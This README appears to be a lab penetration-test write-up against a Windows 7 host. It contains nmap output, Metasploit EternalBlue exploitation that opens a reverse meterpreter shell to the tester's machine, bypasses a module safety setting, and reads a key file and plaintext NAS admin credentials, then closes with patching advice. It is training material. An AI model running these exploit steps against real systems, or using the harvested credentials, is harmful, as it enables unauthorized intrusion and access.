README.md

# Pentest 7 - Anthony - 113 - 10.14.1.113

## Introduction

Setup environment. One thing I took note of in the portal is that this system contains post-exploitation credentials used for another lab system.

```
cd ~/reports
mkdir 7
cd ~/reports/7
export ANTHONY=10.14.1.113
```

## Scanning and Enumerating

Starting scanning:

```
sudo $(which autorecon) $ANTHONY

┌──(autorecon)─(kali㉿kali)-[~/…/7/results/10.14.1.113/scans]
└─$ cat _quick_tcp_nmap.txt
# Nmap 7.94 scan initiated Mon Jul 31 21:01:09 2023 as: nmap -vv --reason -Pn -T4 -s
Increasing send delay for 10.14.1.113 from 0 to 5 due to 315 out of 787 dropped prob
Increasing send delay for 10.14.1.113 from 5 to 10 due to 11 out of 19 dropped probe
adjust_timeouts2: packet supposedly had rtt of -76980 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -76980 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -162047 microseconds.  Ignoring time.
adjust_timeouts2: packet supposedly had rtt of -162047 microseconds.  Ignoring time.
Nmap scan report for 10.14.1.113
Host is up, received user-set (0.18s latency).
Scanned at 2023-07-31 21:01:09 EDT for 526s
Not shown: 985 closed tcp ports (reset)
PORT      STATE SERVICE     REASON          VERSION
80/tcp    open  http        syn-ack ttl 127 Apache httpd 2.2.22 ((Win32) mod_ssl/2.2
|_http-title: Page not found at /
|_http-server-header: Apache/2.2.22 (Win32) mod_ssl/2.2.22 OpenSSL/0.9.8u mod_wsgi/3
135/tcp   open  msrpc       syn-ack ttl 127 Microsoft Windows RPC
139/tcp   open  netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn
445/tcp   open              syn-ack ttl 127 Windows 7 Professional 7601 Service Pack
```

```
554/tcp   open  rtsp?       syn-ack ttl 127
2869/tcp  open  http        syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
3389/tcp  open  tcpwrapped  syn-ack ttl 127
|_ssl-date: 2023-08-01T06:09:26+00:00; +4h59m36s from scanner time.
| ssl-cert: Subject: commonName=Anthony-PC
| Issuer: commonName=Anthony-PC
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2023-07-31T06:00:31
| Not valid after:  2024-01-30T06:00:31
| MD5:   9f2c:3e22:98dd:dfd2:6347:4d50:8e92:74ee
| SHA-1: 5546:1601:f6ae:b822:4132:22f7:0c02:84db:dcd2:d83c
| -----BEGIN CERTIFICATE-----
| MIIC2DCCAcCgAwIBAgIQOtq1j57U0YFLXpq/loVU/TANBgkqhkiG9w0BAQUFADAV
| MRMwEQYDVQQDEwpBbnRob255LVBDMB4XDTIzMDczMTA2MDAzMVoXDTI0MDEzMDA2
| MDAzMVowFTETMBEGA1UEAxMKQW50aG9ueS1QQzCCASIwDQYJKoZIhvcNAQEBBQAD
| ggEPADCCAQoCggEBAMg0XBbOyeKNk2agimGw0+oiCczSry6N3KRYpEXI16lO3oB6
| yCn6CJh/eodRwYT8krxWZ9WTQKO9Rnq9/PRvyUln3r/PW1ReVJFgDoPuqSOPSlPJ
| BFzUBtDwX/5uu8laOGJK+bN3rlFs5RmEh8j4ZyF2eymjA2fvqBYYTNmz4DIXY8Ps
| fMLnaOr0hdzei1118vMCEGB876drGbpNQFtn8yLeSRF8CmP8Q2ZAUE/VqUvSXYta
| smpgNdpBG+3j7WII1F51w1YZoa/LXhHgSP8TfUFFe3aoVyefkxaFrj4OIOb9NMAD
| y7rNUmiBMccG2cJtdDXZKE2M1FWDyJDHA0FqCmsCAwEAAaMkMCIwEwYDVR0lBAww
| CgYIKwYBBQUHAwEwCwYDVR0PBAQDAgQwMA0GCSqGSIb3DQEBBQUAA4IBAQAHh52e
| TpXtiWcEH5L9QwlBXbywZ0KbHS9iNDP2/QL5HuUIWfl3J5ZSlqlmpbn5LtvArblC
| x55aJc/gGQmnI/v7CiUsurkZCckR3+GwmTefVjye/kUN/Lcp68UN3Oxytsf5l/KT
| 5KuwmxlrbPwYigP7bglsK6T0aBtTIqB4t6HMwIf+A4hzDcfok1ffGAczT6B4S36c
| AxsDtp7/KpWS4kwppoO83+diz8p53NzF5Gl5YnT/EkLSm8PvNQJcm3Tb3mhFUwvd
| 1rark3/mdWeI5QZ5vXCsKtFwxi/4LS3U7onbgxfZAZ5/UQ4TWaPEAsFvC5aeo5u2
| YHy3N9LxjdaGS31u
|_-----END CERTIFICATE-----
| rdp-ntlm-info:
|   Target_Name: ANTHONY-PC
|   NetBIOS_Domain_Name: ANTHONY-PC
|   NetBIOS_Computer_Name: ANTHONY-PC
|   DNS_Domain_Name: Anthony-PC
|   DNS_Computer_Name: Anthony-PC
|   Product_Version: 6.1.7601
|_  System_Time: 2023-08-01T06:08:16+00:00
5357/tcp  open  http        syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Service Unavailable
|_http-server-header: Microsoft-HTTPAPI/2.0
10243/tcp open  http        syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49152/tcp open  msrpc       syn-ack ttl 127 Microsoft Windows RPC
49153/tcp open  msrpc       syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open  msrpc       syn-ack ttl 127 Microsoft Windows RPC
49155/tcp open  msrpc       syn-ack ttl 127 Microsoft Windows RPC
```

```
49156/tcp open  msrpc       syn-ack ttl 127 Microsoft Windows RPC
49161/tcp open  msrpc       syn-ack ttl 127 Microsoft Windows RPC
Aggressive OS guesses: Microsoft Windows 8.1 R1 (99%), Microsoft Windows Server 2008
No exact OS matches for host (If you know what OS is running on it, see https://nmap
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=7/31%OT=80%CT=1%CU=41997%PV=Y%DS=2%DC=I%G=Y%TM=64C85B6
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=10E%TS=7)OPS(O1=M5B4NW8ST11
OS:%O2=M5B4NW8ST11%O3=M5B4NW8NNT11%O4=M5B4NW8ST11%O5=M5B4NW8ST11%O6=M5B4ST1
OS:1)WIN(W1=2000%W2=2000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%
OS:W=2000%O=M5B4NW8NNS%CC=N%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%F=AS%RD=0%Q=)T2(R=
OS:N)T3(R=N)T4(R=N)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=N)T7(
OS:R=N)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R
OS:=N)

Uptime guess: 0.006 days (since Mon Jul 31 21:00:42 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=261 (Good luck!)
IP ID Sequence Generation: Busy server or unknown class
Service Info: Host: ANTHONY-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2023-08-01T06:08:15
|_  start_date: 2023-08-01T06:00:30
| nbstat: NetBIOS name: ANTHONY-PC, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:8
| Names:
|   ANTHONY-PC<00>       Flags: <unique><active>
|   WORKGROUP<00>        Flags: <group><active>
|   ANTHONY-PC<20>       Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
| Statistics:
|   00:0c:29:8b:8e:9a:00:00:00:00:00:00:00:00:00:00
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_  00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 44742/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 25432/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 56962/udp): CLEAN (Failed to receive data)
|   Check 4 (port 21979/udp): CLEAN (Timeout)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery:
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: Anthony-PC
|   NetBIOS computer name: ANTHONY-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2023-07-31T23:08:17-07:00
|_clock-skew: mean: 6h23m36s, deviation: 3h07m50s, median: 4h59m35s
```

```
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2:1:0:
|_    Message signing enabled but not required

TRACEROUTE
HOP RTT       ADDRESS
1   181.61 ms 10.14.1.113

Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://n
# Nmap done at Mon Jul 31 21:09:55 2023 -- 1 IP address (1 host up) scanned in 526.2
```

We got a lot of good information here - it looks to be a users PC, running Windows 7. It's not joined to a domain. We can see Apache running on port 80, as well as SMB on 135, 139, and 445.

Let's look at SMB - we know EternalBlue is a thing for Windows 7, so let's see.

```
┌──(autorecon)─(kali㉿kali)-[~/…/7/results/10.14.1.113/scans]
└─$ searchsploit "smb"
------------------------------------------------------------ ---------------------------
 Exploit Title                                              |  Path
------------------------------------------------------------ ---------------------------
...snipped...
Microsoft Windows 7/2008 R2 - 'EternalBlue' SMB Remote C | windows/remote/42031.py
Microsoft Windows 7/2008 R2 - SMB Client Trans2 Stack Ov | windows/dos/12273.py
Microsoft Windows 7/8.1/2008 R2/2012 R2/2016 R2 - 'Etern | windows/remote/42315.py
```

There are a few here as well, so lets checkout Metasploit.

## Exploitation

```
msf6 > search EternalBlue

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Des
   -  ----                                      ---------------  ----     -----  ---
```

```
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS1
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS1
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS1
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS1
   4  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14       great    Yes    SMB
```

Lets try #4?

```
msf6 > use 4
[*] Using configured payload windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/smb_doublepulsar_rce) > show options

Module options (exploit/windows/smb/smb_doublepulsar_rce):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://github.com/rap
                                      ki/Using-Metasploit
   RPORT   445              yes       The SMB service port (TCP)


Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, p
   LHOST                      yes       The listen address (an interface may be spec
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Execute payload (x64)


msf6 exploit(windows/smb/smb_doublepulsar_rce) > set RHOST 10.14.1.113
RHOST => 10.14.1.113
msf6 exploit(windows/smb/smb_doublepulsar_rce) > set LHOST ppp0
LHOST => 172.16.4.1
msf6 exploit(windows/smb/smb_doublepulsar_rce) > exploit

[*] Started reverse TCP handler on 172.16.4.1:4444
[-] 10.14.1.113:445 - Exploit aborted due to failure: bad-config:

Are you SURE you want to execute code against a nation-state implant?
```

```
You MAY contaminate forensic evidence if there is an investigation.

Disable the DefangedMode option if you have authorization to proceed.

[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/smb_doublepulsar_rce) > set defangedmode false
defangedmode => false
msf6 exploit(windows/smb/smb_doublepulsar_rce) > exploit

[*] Started reverse TCP handler on 172.16.4.1:4444
[*] 10.14.1.113:445 - Sending ping to DOUBLEPULSAR
[-] 10.14.1.113:445 - DOUBLEPULSAR not detected or disabled
[-] 10.14.1.113:445 - Exploit aborted due to failure: not-vulnerable: Unable to proc
[*] Exploit completed, but no session was created.
```

It looks like there is no DoublePulsar implant - let's try again.

```
msf6 > use 1
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > show options

Module options (exploit/windows/smb/ms17_010_psexec):

   Name                  Current Setting              Required  Description
   ----                  ---------------              --------  -----------
   DBGTRACE              false                        yes       Show extra debug tra
   LEAKATTEMPTS          99                           yes       How many times to tr
   NAMEDPIPE                                          no        A named pipe that ca
                                                                ank for auto)
   NAMED_PIPES           /usr/share/metasploit-frame  yes       List of named pipes
                         work/data/wordlists/named_p
                         ipes.txt
   RHOSTS                                             yes       The target host(s),
                                                                d7/metasploit-framew
   RPORT                 445                          yes       The Target port (TCP
   SERVICE_DESCRIPTION                                no        Service description
                                                                 pretty listing
   SERVICE_DISPLAY_NAME                               no        The service display
   SERVICE_NAME                                       no        The service name
   SHARE                 ADMIN$                       yes       The share to connect
                                                                (ADMIN$,C$,...) or a
                                                                hare
   SMBDomain             .                            no        The Windows domain t
   SMBPass                                            no        The password for the
   SMBUser                                            no        The username to auth
```

```
Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, p
   LHOST     172.16.4.1       yes       The listen address (an interface may be spec
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 10.14.1.113
RHOST => 10.14.1.113
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 172.16.4.1:4444
[*] 10.14.1.113:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 10.14.1.113:445       - Host is likely VULNERABLE to MS17-010! - Windows 7 Profe
[*] 10.14.1.113:445       - Scanned 1 of 1 hosts (100% complete)
[+] 10.14.1.113:445 - The target is vulnerable.
[*] 10.14.1.113:445 - Connecting to target for exploitation.
[+] 10.14.1.113:445 - Connection established for exploitation.
[+] 10.14.1.113:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.14.1.113:445 - CORE raw buffer dump (42 bytes)
[*] 10.14.1.113:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  W
[*] 10.14.1.113:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  s
[*] 10.14.1.113:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    i
[+] 10.14.1.113:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.14.1.113:445 - Trying exploit with 12 Groom Allocations.
[*] 10.14.1.113:445 - Sending all but last fragment of exploit packet
[*] 10.14.1.113:445 - Starting non-paged pool grooming
[+] 10.14.1.113:445 - Sending SMBv2 buffers
[+] 10.14.1.113:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2
[*] 10.14.1.113:445 - Sending final SMBv2 buffers.
[*] 10.14.1.113:445 - Sending last fragment of exploit packet!
[*] 10.14.1.113:445 - Receiving response from exploit packet
[+] 10.14.1.113:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.14.1.113:445 - Sending egg to corrupted connection.
[*] 10.14.1.113:445 - Triggering free of corrupted buffer.
[*] Sending stage (200262 bytes) to 10.14.1.113
[*] Meterpreter session 1 opened (172.16.4.1:4444 -> 10.14.1.113:49177 ) at 2023-07-
[+] 10.14.1.113:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.14.1.113:445 - =-=-=-=-=-=-=-=-=-=-=-=WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.14.1.113:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
```

```
meterpreter > getsystem
[-] Already running as SYSTEM
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

We got access to the system - lets grab the key, and make sure we don't forget that we need *something* for a follow-on lab.

```
meterpreter > dir C:/Users/Administrator/Desktop
Listing: C:/Users/Administrator/Desktop
=======================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  282   fil   2017-03-25 11:40:47 -0400  desktop.ini
100666/rw-rw-rw-  20    fil   2017-03-25 11:41:26 -0400  key.txt

meterpreter > cat C:/Users/Administrator/Desktop/key.txt
uq0c8n6id4aaj8ivr67e
```

## Post Exploitation

Based on my findings and the paths used so far, I guessed maybe what I was looking for was in `Anthony` 's folder? It's a PC afterall.

```
meterpreter > cd ..
meterpreter > dir
Listing: C:\Users
=================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
40777/rwxrwxrwx   8192  dir   2017-03-25 11:40:35 -0400  Administrator
40777/rwxrwxrwx   0     dir   2009-07-14 01:08:56 -0400  All Users
40777/rwxrwxrwx   8192  dir   2016-10-26 17:54:35 -0400  Anthony
40555/r-xr-xr-x   8192  dir   2009-07-13 23:20:08 -0400  Default
40777/rwxrwxrwx   0     dir   2009-07-14 01:08:56 -0400  Default User
40555/r-xr-xr-x   4096  dir   2009-07-13 23:20:08 -0400  Public
100666/rw-rw-rw-  174   fil   2009-07-14 00:54:24 -0400  desktop.ini

meterpreter > cd Anthony
meterpreter > dir
Listing: C:\Users\Anthony
=========================
```

```
Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
40777/rwxrwxrwx   0       dir   2016-10-26 17:54:45 -0400  AppData
40777/rwxrwxrwx   0       dir   2016-10-26 17:54:45 -0400  Application Data
40555/r-xr-xr-x   0       dir   2016-10-26 17:54:52 -0400  Contacts
40777/rwxrwxrwx   0       dir   2016-10-26 17:54:45 -0400  Cookies
40555/r-xr-xr-x   4096    dir   2016-10-26 17:54:45 -0400  Desktop
40555/r-xr-xr-x   4096    dir   2016-10-26 17:54:45 -0400  Documents
40555/r-xr-xr-x   4096    dir   2016-10-26 17:54:45 -0400  Downloads
40555/r-xr-xr-x   4096    dir   2016-10-26 17:54:45 -0400  Favorites
40555/r-xr-xr-x   0       dir   2016-10-26 17:54:45 -0400  Links
40777/rwxrwxrwx   0       dir   2016-10-26 17:54:45 -0400  Local Settings
40555/r-xr-xr-x   0       dir   2016-10-26 17:54:45 -0400  Music
40777/rwxrwxrwx   0       dir   2016-10-26 17:54:45 -0400  My Documents
100666/rw-rw-rw-  786432  fil   2016-10-26 17:54:45 -0400  NTUSER.DAT
100666/rw-rw-rw-  65536   fil   2016-10-26 17:54:45 -0400  NTUSER.DAT{016888bd-6c6f-
                                                           blf
100666/rw-rw-rw-  524288  fil   2016-10-26 17:54:45 -0400  NTUSER.DAT{016888bd-6c6f-
                                                           ontainer00000000000000000
100666/rw-rw-rw-  524288  fil   2016-10-26 17:54:45 -0400  NTUSER.DAT{016888bd-6c6f-
                                                           ontainer00000000000000000
40777/rwxrwxrwx   0       dir   2016-10-26 17:54:45 -0400  NetHood
40555/r-xr-xr-x   0       dir   2016-10-26 17:54:45 -0400  Pictures
40777/rwxrwxrwx   0       dir   2016-10-26 17:54:45 -0400  PrintHood
40777/rwxrwxrwx   0       dir   2016-10-26 17:54:45 -0400  Recent
40555/r-xr-xr-x   0       dir   2016-10-26 17:54:45 -0400  Saved Games
40555/r-xr-xr-x   0       dir   2016-10-26 17:55:00 -0400  Searches
40777/rwxrwxrwx   0       dir   2016-10-26 17:54:45 -0400  SendTo
40777/rwxrwxrwx   0       dir   2016-10-26 17:54:45 -0400  Start Menu
40777/rwxrwxrwx   0       dir   2016-10-26 17:54:45 -0400  Templates
40555/r-xr-xr-x   0       dir   2016-10-26 17:54:45 -0400  Videos
100666/rw-rw-rw-  262144  fil   2016-10-26 17:54:45 -0400  ntuser.dat.LOG1
100666/rw-rw-rw-  0       fil   2016-10-26 17:54:45 -0400  ntuser.dat.LOG2
100666/rw-rw-rw-  20      fil   2016-10-26 17:54:45 -0400  ntuser.ini

meterpreter > cd Desktop
meterpreter > dir
Listing: C:\Users\Anthony\Desktop
=================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  60    fil   2017-03-25 09:52:23 -0400  NAS.txt
100666/rw-rw-rw-  282   fil   2016-10-26 17:55:00 -0400  desktop.ini

meterpreter > cat NAS.txt
cat NAS.txt
http://10.14.1.121
```

```
Username: admin
Password: nas4free123
```

## Remediation

The most important step that can be taken is to update / patch using the latest Microsoft patch for EternalBlue.
In addition, it is recommended to disable `SMBv1` :

1. Open Control Panel, click Programs, and then click Turn Windows features on or off.
2. In the Windows Features window, clear the SMB1.0/CIFS File Sharing Support checkbox, and then click OK to close the window.
3. Restart the system.

- https://ncua.gov/newsroom/ncua-report/2017/protect-your-systems-against-eternalblue-vulnerability
- https://learn.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010